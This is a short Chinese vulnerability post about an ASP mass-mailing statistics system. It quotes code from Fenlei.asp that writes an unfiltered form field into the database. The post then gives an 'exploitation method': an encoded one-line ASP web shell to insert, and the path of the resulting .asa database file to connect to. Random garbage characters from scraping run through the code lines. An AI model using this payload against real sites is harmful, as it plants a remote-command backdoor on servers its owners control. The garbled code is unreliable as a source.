铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

6 q- I+ f+ M2 n7 ]IF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
IF Request.QueryString("Action")="Add" Then
! }9 A5 Y! F/ u. a5 RTname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
Rs.Addnew
; V) C" y$ }- f# S8 a: ?Rs("Typename")=Tname
9 d* n4 Y. e/ X'略
( C: J' @* |# U# q. D- DSet Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
8 F- J) @$ H3 i1 s6 U: zRs.Open Sql,Conn,1,1
'略
- A* ^2 k( r9 q$ d& E3 k8 x2 D%>
/ n+ F; f& E0 o7 V7 ?2 ]

6 v& X7 ?6 o3 K/ r& Z
7 \2 y) N: I4 y. d没有过滤，直接写入数据库。
5 a5 d7 J8 r1 k4 H8 O  X
利用方法：
2 A* e7 `' J5 Y9 m4 u; m3 C
插入：┼攠數畣整爠煥敵瑳∨≡┩>


连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
2 l# e3 R& ^: u0 U# [. O+ M' l'install.asp